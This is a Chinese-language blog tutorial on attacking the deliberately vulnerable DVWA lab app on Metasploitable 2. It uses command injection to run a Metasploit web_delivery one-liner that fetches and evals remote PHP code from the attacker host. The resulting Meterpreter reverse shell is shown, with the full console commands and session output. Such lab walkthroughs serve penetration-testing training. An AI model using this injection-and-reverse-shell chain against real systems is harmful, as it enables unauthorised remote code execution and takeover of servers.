使用Metasploit的Web Delivery Script和命令注入弹出Shell-泓源视野

使用Metasploit的Web Delivery Script和命令注入弹出Shell

使用Metasploit的Web Delivery Script和命令注入弹出Shell插图

提高黑客技能的最佳方法之一是学会结合不同的攻击途径来取得成功。如果有可能让受害者连接到我们的机器并代表我们执行选定的有效载荷怎么办?对于全能的Metasploit和一种称为命令注入的技术的帮助,这确实是可能的。

今天,我们将使用Kali Linux和Metasploit攻击易受攻击的Web应用程序DVWA,它包含在Metasploitable 2虚拟机中。

Web概述

Metasploit包含一个有用的模块,用于在攻击计算机上创建的服务器上托管有效负载。一旦目标机器连接到服务器并且然后执行有效载荷,则运行web传递脚本。该模块功能多样,因为它可以针对Python,Powershell和PHP应用程序。

网络传送脚本的主要优点是隐身。服务器和有效负载都托管在攻击计算机上,因此在执行攻击时,目标上没有任何内容写入磁盘,从而不太可能触发防病毒应用程序和其他防御。

这个漏洞利用的一个警告是它需要一种在目标上执行命令的方法来关闭脚本。一种适用于这种情况的可能方法是命令注入。

命令注入入门

命令注入是一种攻击,其中通过易受攻击的Web应用程序在主机上执行任意操作系统命令。通常,当应用程序将不安全的用户输入从表单传递到服务器时会发生这种情况,但这也可能发生在cookie,HTTP标头和其他数据源中。

由于系统命令的内在功能,这种类型的漏洞尤其危险。根据应用程序运行的权限级别,命令注入可能导致攻击者拥有整个系统。

步骤1启动DVWA

我们需要做的第一件事是打开DVWA并使用默认凭据登录。

使用Metasploit的Web Delivery Script和命令注入弹出Shell插图1

接下来,浏览到“DVWA Security”选项卡并将安全级别设置为“low”,以确保在我们准备好时,我们的漏洞利用没有任何打嗝

使用Metasploit的Web Delivery Script和命令注入弹出Shell插图2

第2步找到一个易受攻击的入口点

使用Metasploit的Web Delivery Script和命令注入弹出Shell插图3

现在我们可以导航到“Command Execution”页面。要使此攻击起作用,我们必须确保目标应用程序可以与本地计算机进行通信。我们可以利用此页面的默认功能来ping我们的攻击计算机。只需输入IP地址并点击“提交”即可。

使用Metasploit的Web Delivery Script和命令注入弹出Shell插图4

收到成功的回复后,我们需要做的下一件事是确定此页面是否容易受到命令注入的影响。我们可以通过将操作系统命令附加到我们输入的IP地址来实现。在这里,我们将使用&&符号添加ls命令并再次点击“提交”。

使用Metasploit的Web Delivery Script和命令注入弹出Shell插图5
使用Metasploit的Web Delivery Script和命令注入弹出Shell插图6

我们可以看到应用程序使用底部当前目录的内容进行响应,这意味着确实存在命令注入漏洞。我们将利用此功能接下来启动我们的Web交付脚本。

步骤3启动Web Delivery Script

通过在终端中键入msfconsole来启动Metasploit 。我们可以使用以下命令加载Web交付模块。

msf > use exploit/multi/script/web_delivery

在提示符下,键入选项以显示此模块的当前设置。

msf exploit(multi/script/web_delivery) > options
Module options (exploit/multi/script/web_delivery): Name Current Setting Required Description ---- --------------- -------- ----------- SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0 SRVPORT 8080 yes The local port to listen on. SSL false no Negotiate SSL for incoming connections SSLCert no Path to a custom SSL certificate (default is randomly generated) URIPATH no The URI to use for this exploit (default is random)
Payload options (python/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST yes The listen address (an interface may be specified) LPORT 4444 yes The listen port
Exploit target: Id Name -- ---- 0 Python

我们需要选择合适的目标类型,在本例中为PHP。请注意,要使此模块正常工作,需要在选择有效负载之前设置目标。键入show targets以获取可用选项列表。

msf exploit(multi/script/web_delivery) > show targets
Exploit targets: Id Name -- ---- 0 Python 1 PHP 2 PSH 3 Regsvr32 4 PSH (Binary)

现在我们可以设置其余的选项。按顺序执行如下所示的每个命令。对于设定目标,它是上面列表中的ID。该集有效载荷是我们使用,在这种情况下,PHP / Meterpreter就会/ reverse_tcp有效载荷。对于set lhost,它是侦听主机地址。对于set lport,它是我们的监听端口。

msf exploit(multi/script/web_delivery) > set target 1
target => 1
msf exploit(multi/script/web_delivery) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf exploit(multi/script/web_delivery) > set lhost 172.16.1.100
lhost => 172.16.1.100
msf exploit(multi/script/web_delivery) > set lport 1234
lport => 1234

最后,我们准备发动攻击。在提示符下键入run以启动漏洞利用。我们本地计算机上的服务器将启动。运行漏洞提供的最后一行,如下所示,非常重要,因为它显示了需要在目标系统上执行的命令。

msf exploit(multi/script/web_delivery) > run
[*] Exploit running as background job 0.
[*] Started reverse TCP handler on 172.16.1.100:1234
[*] Using URL: http://0.0.0.0:8080/ko3Rb1zps9VTa
[*] Local IP: http://172.16.1.100:8080/ko3Rb1zps9VTa
[*] Server started.
[*] Run the following command on the target machine:
php -d allow_url_fopen=true -r "eval(file_get_contents('http://172.16.1.100:8080/ko3Rb1zps9VTa'));"

步骤4运行攻击

我们可以使用我们之前发现的命令注入漏洞作为一种简单的攻击手段。因此,复制最后一行并使用&&在DVWA的“命令执行”页面中将其附加到IP地址,就像我们之前在查看页面是否易受攻击时所做的那样。

使用Metasploit的Web Delivery Script和命令注入弹出Shell插图7

如果一切按计划进行,一旦我们点击“提交”,我们的有效负载将执行,并且将打开Meterpreter会话。回到终端,我们可以看到这正是发生的事情。

msf exploit(multi/script/web_delivery) > [*] 172.16.1.102 web_delivery - Delivering Payload
[*] Sending stage (37775 bytes) to 172.16.1.102
[*] Meterpreter session 1 opened (172.16.1.100:1234 -> 172.16.1.102:57343) at 2018-10-22 11:12:05 -0500

但是,我们不会自动进入会话,因此我们可以使用sessions命令查看打开的活动会话。

msf exploit(multi/script/web_delivery) > sessions
Active sessions
=============== Id Name Type Information Connection -- ---- ---- ----------- ---------- 1 meterpreter php/linux www-data (33) @ metasploitable 172.16.1.100:1234 -> 172.16.1.102:57343 (172.16.1.102)

要与活动会话交互,请使用sessions -i命令,后跟相应的会话ID号。

msf exploit(multi/script/web_delivery) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > getuid
Server username: www-data (33)
meterpreter > sysinfo
Computer : metasploitable
OS : Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686
Meterpreter : php/linux

现在我们可以运行像getuidsysinfo这样的Meterpreter命令来显示有关目标机器的信息。我们也可以使用shell命令进入shell

meterpreter > shell
Process 4869 created.
Channel 0 created.
whoami
www-data
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
ps PID TTY TIME CMD 4656 ? 00:00:00 apache2 4658 ? 00:00:00 apache2 4661 ? 00:00:00 apache2 4663 ? 00:00:00 apache2 4665 ? 00:00:00 apache2 4761 ? 00:00:00 apache2 4793 ? 00:00:00 apache2 4855 ? 00:00:00 php 4856 ? 00:00:00 sh 4858 ? 00:00:00 php 4869 ? 00:00:00 sh 4873 ? 00:00:00 ps

从这里开始,我们可以发出whoami等命令来查看当前用户,uname -a显示操作系统信息,ps可以查看正在运行的进程列表。通过在易受攻击的Web应用程序中利用命令注入,我们能够执行我们的Web传递脚本并在目标上获取shell而无需将任何内容写入磁盘。

本文由 泓源视野 作者:admin 发表,其版权均为 泓源视野 所有,文章内容系作者个人观点,不代表 泓源视野 对观点赞同或支持。如需转载,请注明文章来源。
8

发表评论

Protected with IP Blacklist CloudIP Blacklist Cloud
您是第8234430 位访客, 您的IP是:[52.205.218.160]